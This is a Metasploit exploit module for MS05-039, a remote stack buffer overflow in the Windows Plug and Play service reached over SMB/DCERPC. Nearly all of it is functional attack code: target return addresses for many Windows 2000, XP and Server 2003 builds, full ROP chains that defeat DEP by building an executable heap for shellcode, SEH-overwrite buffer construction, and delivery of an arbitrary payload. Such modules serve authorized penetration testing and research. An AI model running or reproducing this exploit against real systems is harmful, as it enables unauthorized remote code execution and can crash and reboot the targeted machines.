1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = GoodRanking
8

9
  include Msf::Exploit::Remote::DCERPC
10
  include Msf::Exploit::Remote::SMB::Client
11

12
  def initialize(info = {})
13
    super(
14
      update_info(
15
        info,
16
        'Name' => 'MS05-039 Microsoft Plug and Play Service Overflow',
17
        'Description' => %q{
18
          This module exploits a stack buffer overflow in the Windows Plug
19
          and Play service. This vulnerability can be exploited on
20
          Windows 2000 without a valid user account.
21

22
          NOTE: Since the PnP service runs inside the service.exe process, a failed
23
          exploit attempt will cause the system to automatically reboot.
24
        },
25
        'Author' => [ 'hdm', 'cazz' ],
26
        'License' => MSF_LICENSE,
27
        'References' => [
28
          [ 'CVE', '2005-1983' ],
29
          [ 'OSVDB', '18605' ],
30
          [ 'BID', '14513' ],
31
          [ 'MSB', 'MS05-039' ]
32
        ],
33
        'DefaultOptions' => {
34
          'EXITFUNC' => 'thread',
35
        },
36
        'Privileged' => true,
37
        'Payload' => {
38
          'Space' => 1000,
39
          'BadChars' => "\x00",
40
          'StackAdjustment' => -3500,
41
        },
42
        'Platform' => 'win',
43
        'Targets' => [
44
          [
45
            'Windows 2000 SP0-SP4', # Tested OK - 11/25/2005 hdm
46
            {
47
              'Ret' => 0x767a38f6, # umpnpmgr.dll
48
            },
49
          ],
50
          [
51
            'Windows 2000 SP4 French',
52
            {
53
              'Ret' => 0x767438f6, # French target by ExaProbe <[email protected]>
54
            },
55
          ],
56
          [
57
            'Windows 2000 SP4 Spanish',
58
            {
59
              'Ret' => 0x767738f6, # umpnpmgr.dll
60
            },
61
          ],
62
          [
63
            # Tested on: English/French/German/Dutch/Finnish/Greek/Polish/Portuguese/Hungarian/Korean/Chinese/Arabic/Turkish/Russian
64
            'Windows 2000 SP4 Universal',
65
            {
66
              'Ret' => 0x01013C79, # [Pita] [Houmous] <[email protected]>
67
            },
68
          ],
69
          [
70
            'Windows 2000 SP0-SP4 German',
71
            {
72
              'Ret' => 0x767338f6, # German target by Michael Thumann <[email protected]>
73
            },
74
          ],
75
          [
76
            'Windows 2000 SP0-SP4 Italian',
77
            {
78
              'Ret' => 0x7677366f, # acaro <[email protected]>
79
            },
80
          ],
81
          [
82
            'Windows XP SP1 English',
83
            {
84
              'Ret' => 0x758c572a, # pop edi / pop ebx / ret in umpnpmgr.dll v5.1.2600.1106
85
              'Pipe' => 'ntsvcs',
86
              'Offset' => 16,
87
            }
88
          ],
89
          # NOTE: XP SP2, Server 2003 (and SP1) require an Administrator account to access
90
          # the vulnerable functionality.
91
          [
92
            'Windows XP SP2 English (Requires Admin)',
93
            # SafeSEH enabled, DEP AlwaysOn
94
            {
95
              # 'Ret'       => 0x41424344,
96
              'Ret' => 0x758d2bb3, # pop eax / ret 0x8
97
              'Pipe' => 'ntsvcs',
98
              'PtrToZero' => 0x758c0170, # PE data of umpnpmgr.dll v5.1.2600.2180
99
              'Offset' => 72,
100
              'EspOffset' => 108,
101
              'RopStack' =>
102
                # All addresses are from umpnpmgr.dll v5.2.3790.1830
103
                [
104
                  #
105
                  # Step 1. Allocate an executable heap with HeapCreate
106
                  #
107
                  # Resolve HeapCreate from import
108
                  0x758c1148,            # pointer to HeapCreate import
109
                  0x758c2950,            # mov eax, [eax] / pop ebp / ret 0x8
110
                  0x41414141,            # scratch
111
                  0x41414141,            # scratch
112
                  # 0x758da008,            # becomes ebp (something writable)
113
                  0x758da1c8 - 0xc, # becomes ebp (writable, used later)
114

115
                  # Call HeapCreate
116
                  0x758cb728,            # call eax / mov [ebp+0xc],eax / jmp... / mov eax,[ebp+0xc] / pop edi,esi,ebx,ebp / ret 0xc
117
                  0x41414141,            # scratch
118
                  0x41414141,            # scratch
119
                  0x01040110,            # flOptions (gets & with 0x40005)
120
                  0x01010101,
121
                  0x01010101,
122
                  0x758ce552,            # becomes edi - pop edi,esi / ret
123
                  0x758cdd7e,            # becomes esi - pop esi,ebx,ebp / ret 0x4
124
                  0x41414141,            # becomes ebx
125
                  0x41414141,            # becomes ebp
126

127
                  # Don't bother calling HeapAlloc, just add 0x8000 to the Heap Base
128
                  0x758d45f3,            # or eax,0x8000 / pop ebp / ret 0x4
129
                  0x41414141,            # scratch
130
                  0x41414141,            # scratch
131
                  0x41414141,            # scratch
132
                  0x41414141,            # becomes ebp
133

134
                  # save eax to ebx
135
                  0x758ce0d5,            # push eax / call esi
136
                  0x41414141,            # scratch
137
                  0x758da008 + 0x18, # becomes ebp
138

139
                  # Setup eax to load our saved stack pointer
140
                  0x758d18db,            # pop eax / ret 0xc
141
                  0x41414141,            # scratch
142
                  0x758c524e,            # becomes eax - pop ebp / ret 0x8
143
                  # 0x758c2423,            # becomes eax - pop esi,ebp / ret 0x8
144

145
                  # Store a pointer to the stack to a known address (ebp-0x18), flows to eax after
146
                  0x758c1281,            # mov [ebp-0x18],esp / push eax / mov eax,[ebp-4] / mov [ebp-4],0xffffffff / mov [ebp-8],eax / lea eax,[ebp-0x10] / mov fs:[0],eax / ret
147
                  0x41414141,            # scratch
148
                  0x41414141,            # scratch
149
                  0x41414141,            # scratch
150
                  # 0xcafebabe,            # becomes esi
151
                  0x758da008 - 0x10, # becomes ebp
152

153
                  # Call lstrcpyW to copy shellcode into executable heap
154
                  0x758c542e,            # push [ebp+0x10] / push ebx / call lstrcpyW / push ebx / call edi
155
                  0x41414141,            # scratch
156
                  0x41414141,            # scratch
157

158
                  # Skip the junk
159
                  0x758c96f6, # add al,0x3b / ret
160

161
                  # Call the executable segment!
162
                  0x758c3b62 # call eax
163
                ]
164
            }
165
          ],
166
          [
167
            'Windows Server 2003 SP0 English (Requires Admin)',
168
            # SafeSEH unsupported, DEP unsupported
169
            {
170
              'Ret' => 0x780df756, # push esp / ret in msvcp60.dll
171
              'Pipe' => 'ntsvcs',
172
              'PtrToZero' => 0x757702c0, # PE data of umpnpmgr.dll
173
              'Offset' => 72,
174
            }
175
          ],
176
          [
177
            'Windows Server 2003 SP1 English (Requires Admin)',
178
            # SafeSEH enabled, DEP AlwaysOn
179
            {
180
              'Pipe' => 'ntsvcs',
181
              # We will need to bypass DEP!
182
              # 'Ret'       => 0x41424344,
183
              'Ret' => 0x757873d5, # pop eax / ret 0x4
184
              'PtrToZero' => 0x757702c0, # PE data of umpnpmgr.dll
185
              'Offset' => 72, # offset to saved eip
186
              'EspOffset' => 108, # Offset to where esp ends up pointing
187
              'RopStack' =>              # NOTE: 0x41414141 will become random data
188
                # All addresses are from umpnpmgr.dll v5.2.3790.1830
189
                [
190
                  #
191
                  # Step 1. Allocate an executable heap with HeapCreate
192
                  #
193
                  # Resolve HeapCreate from import
194
                  0x75771144,            # pointer to HeapCreate import
195
                  0x75772e68,            # mov eax, [eax] / pop ebp / ret
196
                  0x41414141,            # scratch
197
                  0x41414141,            # becomes ebp
198
                  # Call HeapCreate
199
                  0x7578bc37,            # jmp eax
200
                  0x41414141,            # scratch
201
                  0x41414141,            # scratch
202
                  # Save the new heap address in edi
203
                  0x757791d5,            # xchg eax,edi / cmp bh,0xff / ret 0x10
204
                  0x01040110,            # flOptions (gets & with 0x40005)
205
                  0x01010101,
206
                  0x01010101,
207

208
                  #
209
                  # Step 2. Allocate a buffer using this new heap.
210
                  #
211
                  0x757873d5,            # pop eax / ret 0x4
212
                  0x41414141,            # scratch
213
                  0x41414141,            # scratch
214
                  0x41414141,            # scratch
215
                  0x41414141,            # scratch
216
                  # Resolve HeapAlloc from import
217
                  0x7577115c,            # pointer to HeapAlloc import
218
                  0x75772e68,            # mov eax, [eax] / pop ebp / ret
219
                  0x41414141,            # scratch
220
                  0x41414141,            # becomes ebp
221
                  # Save the address of HeapAlloc in esi
222
                  0x75777ae0,            # xchg eax,esi / mov dl,0xff / dec ecx / ret
223
                  0x41414141,            # scratch
224
                  0x41414141,            # scratch
225
                  # Call HeapAlloc
226
                  0x7578bb6b,            # push edi / call esi / pop edi,esi,ebp / ret
227
                  0xffffffff,            # flags
228
                  0x00010001,            # allocation size
229
                  0x0101018d,            # becomes edi / first byte stored
230
                  0x7577835c,            # becomes esi - pop esi / pop ebx / ret
231
                  0x757830c3,            # becomes ebp/eip - pop esi / ret
232

233
                  #
234
                  # Step 3. Save the heap address into ebx
235
                  #
236
                  0x7578308f,            # push eax / mov [0x7578d8e0],edi / mov [0x7578d39c],edi / call esi
237
                  0x41414141,            # scratch
238
                  # Put heap address in edi
239
                  0x757791d5, # xchg eax,edi / cmp bh,0xff / ret 0x10
240

241
                  #
242
                  # Step 4. Write stub:
243
                  #
244
                  # metasm > lea esi,[esp+4]; _start: lodsb; test al,al; jz _out; stosb; _end: jmp _start; _out:
245
                  # "\x8d\x74\x24\x04\xac\x84\xc0\x74\x03\xaa\xeb\xf8"
246
                  #
247
                  # Store the first byte.
248
                  0x7578be14,            # stosb / ret
249
                  0x41414141,            # scratch
250
                  0x41414141,            # scratch
251
                  0x41414141,            # scratch
252
                  0x41414141,            # scratch
253
                  # Store another byte!
254
                  0x757873d5,            # pop eax / ret 0x4
255
                  0x01010174,            # next byte to write
256
                  0x7578be14,            # stosb / ret
257
                  0x41414141,            # scratch
258
                  # Store another byte!
259
                  0x757873d5,            # pop eax / ret 0x4
260
                  0x01010124,            # next byte to write
261
                  0x7578be14,            # stosb / ret
262
                  0x41414141,            # scratch
263
                  # Store another byte!
264
                  0x757873d5,            # pop eax / ret 0x4
265
                  0x01010104,            # next byte to write
266
                  0x7578be14,            # stosb / ret
267
                  0x41414141,            # scratch
268
                  # Store another byte!
269
                  0x757873d5,            # pop eax / ret 0x4
270
                  0x010101ac,            # next byte to write
271
                  0x7578be14,            # stosb / ret
272
                  0x41414141,            # scratch
273
                  # Store another byte!
274
                  0x757873d5,            # pop eax / ret 0x4
275
                  0x01010184,            # next byte to write
276
                  0x7578be14,            # stosb / ret
277
                  0x41414141,            # scratch
278
                  # Store another byte!
279
                  0x757873d5,            # pop eax / ret 0x4
280
                  0x010101c0,            # next byte to write
281
                  0x7578be14,            # stosb / ret
282
                  0x41414141,            # scratch
283
                  # Store another byte!
284
                  0x757873d5,            # pop eax / ret 0x4
285
                  0x01010174,            # next byte to write
286
                  0x7578be14,            # stosb / ret
287
                  0x41414141,            # scratch
288
                  # Store another byte!
289
                  0x757873d5,            # pop eax / ret 0x4
290
                  0x01010103,            # next byte to write
291
                  0x7578be14,            # stosb / ret
292
                  0x41414141,            # scratch
293
                  # Store another byte!
294
                  0x757873d5,            # pop eax / ret 0x4
295
                  0x010101aa,            # next byte to write
296
                  0x7578be14,            # stosb / ret
297
                  0x41414141,            # scratch
298
                  # Store another byte!
299
                  0x757873d5,            # pop eax / ret 0x4
300
                  0x010101eb,            # next byte to write
301
                  0x7578be14,            # stosb / ret
302
                  0x41414141,            # scratch
303
                  # Store another byte!
304
                  0x757873d5,            # pop eax / ret 0x4
305
                  0x010101f8,            # next byte to write
306
                  0x7578be14,            # stosb / ret
307
                  0x41414141,            # scratch
308

309
                  #
310
                  # Step 5. Finally, call our executable heap buffer.
311
                  #
312
                  0x75783efe # call ebx
313
                ]
314
            }
315
          ]
316
        ],
317
        'DefaultTarget' => 0,
318
        'DisclosureDate' => '2005-08-09',
319
        'Notes' => {
320
          'Reliability' => UNKNOWN_RELIABILITY,
321
          'Stability' => UNKNOWN_STABILITY,
322
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
323
        }
324
      )
325
    )
326

327
    register_options(
328
      [
329
        OptString.new('SMBPIPE', [ true, "The pipe name to use (browser, srvsvc, wkssvc, ntsvcs)", 'browser']),
330
      ]
331
    )
332
  end
333

334
  def pnp_probe(req, pipe = datastore['SMBPIPE'])
335
    print_status("Connecting to the SMB service...")
336
    begin
337
      connect()
338
      smb_login()
339
    rescue ::Exception => e
340
      print_error("Error: #{e.class} #{e}")
341
    end
342

343
    handle = dcerpc_handle('8d9f4e40-a03d-11ce-8f69-08003e30051b', '1.0', 'ncacn_np', ["\\#{pipe}"])
344
    print_status("Binding to #{handle} ...")
345
    dcerpc_bind(handle)
346
    print_status("Bound to #{handle} ...")
347

348
    # CS_DES
349
    cs_des =
350
      NDR.long(0) + # CSD_SignatureLength
351
      NDR.long(0) + # CSD_LegacyDataOffset
352
      NDR.long(req.length) + # CSD_LegacyDataSize
353
      NDR.long(0) + # CSD_Flags
354
      rand_text(16) + # GUID
355
      req # CSD_LegacyData
356

357
    # PNP_QueryResConfList(L"a\\b\\c", 0xffff, (char *)pClassResource, 1000, foo, 4, 0);
358

359
    # ResourceName:
360
    stubdata =
361
      NDR.UnicodeConformantVaryingString("a\\b\\c") +  # ResourceName, passes both IsLegalDeviceId and IsRootDeviceID
362
      NDR.long(0xffff) +                               # ResourceID: ResType_ClassSpecific
363
      NDR.UniConformantArray(cs_des) +                 # Resource (our CS_DES structure)
364
      NDR.long(cs_des.length) +                        # ResourceLen
365
      NDR.long(4) +                                    # OutputLen (at least 4)
366
      NDR.long(0)                                      # Flags
367

368
    print_status("Calling the vulnerable function...")
369

370
    begin
371
      dcerpc.call(0x36, stubdata)
372
    rescue Rex::Proto::DCERPC::Exceptions::NoResponse
373
      print_status('Server did not respond, this is expected')
374
    rescue => e
375
      if e.to_s =~ /STATUS_PIPE_DISCONNECTED/
376
        print_status('Server disconnected, this is expected')
377
      else
378
        raise e
379
      end
380
    end
381

382
    # Cleanup
383
    disconnect
384

385
    if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil and
386
        dcerpc.last_response.stub_data == "\x04\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00")
387
      return true
388
    else
389
      return false
390
    end
391
  end
392

393
  def check
394
    if (pnp_probe('A'))
395
      return Exploit::CheckCode::Vulnerable
396
    end
397

398
    return Exploit::CheckCode::Safe
399
  end
400

401
  def exploit
402
    # If PtrToZero is set, we use saved-ret-overwrite instead of SEH.
403
    if target['PtrToZero'] then
404
      eip_off = target['Offset']
405
      nul_off = eip_off + 8
406

407
      # DEP Bypass version (2003 SP1)
408
      if target['RopStack']
409
        esp_off = target['EspOffset']
410

411
        # Start with a randomized base buffer
412
        rop_length = target['RopStack'].length * 4
413
        print_status("ROP Data is %u bytes" % rop_length)
414
        buf = rand_text(esp_off + rop_length)
415

416
        # Put the rest of the stack data at where esp ends up...
417
        target['RopStack'].each_with_index { |el, idx|
418
          if el != 0x41414141
419
            buf[esp_off + (idx * 4), 4] = [el].pack('V')
420
          end
421
        }
422
      else
423
        # Start with a randomized base buffer
424
        buf = rand_text(nul_off)
425
      end
426

427
      # This becomes EIP
428
      buf[eip_off, 4] = [target.ret].pack('V')
429

430
      # Pointer to NULL (4 zero bytes)
431
      buf[nul_off, 4] = [target['PtrToZero']].pack('V')
432
    else
433
      # Pad the string up to reach our SEH frame
434
      buf = rand_text(target['Offset'] ? target['Offset'] : 56)
435

436
      # Jump over the address and our invalid pointer to the payload
437
      buf << Rex::Arch::X86.jmp_short('$+32')
438
      buf << rand_text(2)
439

440
      # The SEH handler pointer
441
      buf << [target.ret].pack('V')
442

443
      # Some padding to reach the next pointer
444
      buf << rand_text(20)
445

446
      # ResourceName - cause access violation on RtlInitUnicodeString
447
      buf << rand_text(3) + "\xff"
448
    end
449

450
    # Append the encoded payload and we are good to go!
451
    buf << payload.encoded
452

453
    # Determine which pipe to use
454
    pipe = target['Pipe'] ? target['Pipe'] : datastore['SMBPIPE']
455

456
    pnp_probe(buf, pipe)
457

458
    print_status('The server should have executed our payload')
459

460
    handler
461
  end
462
end
463

464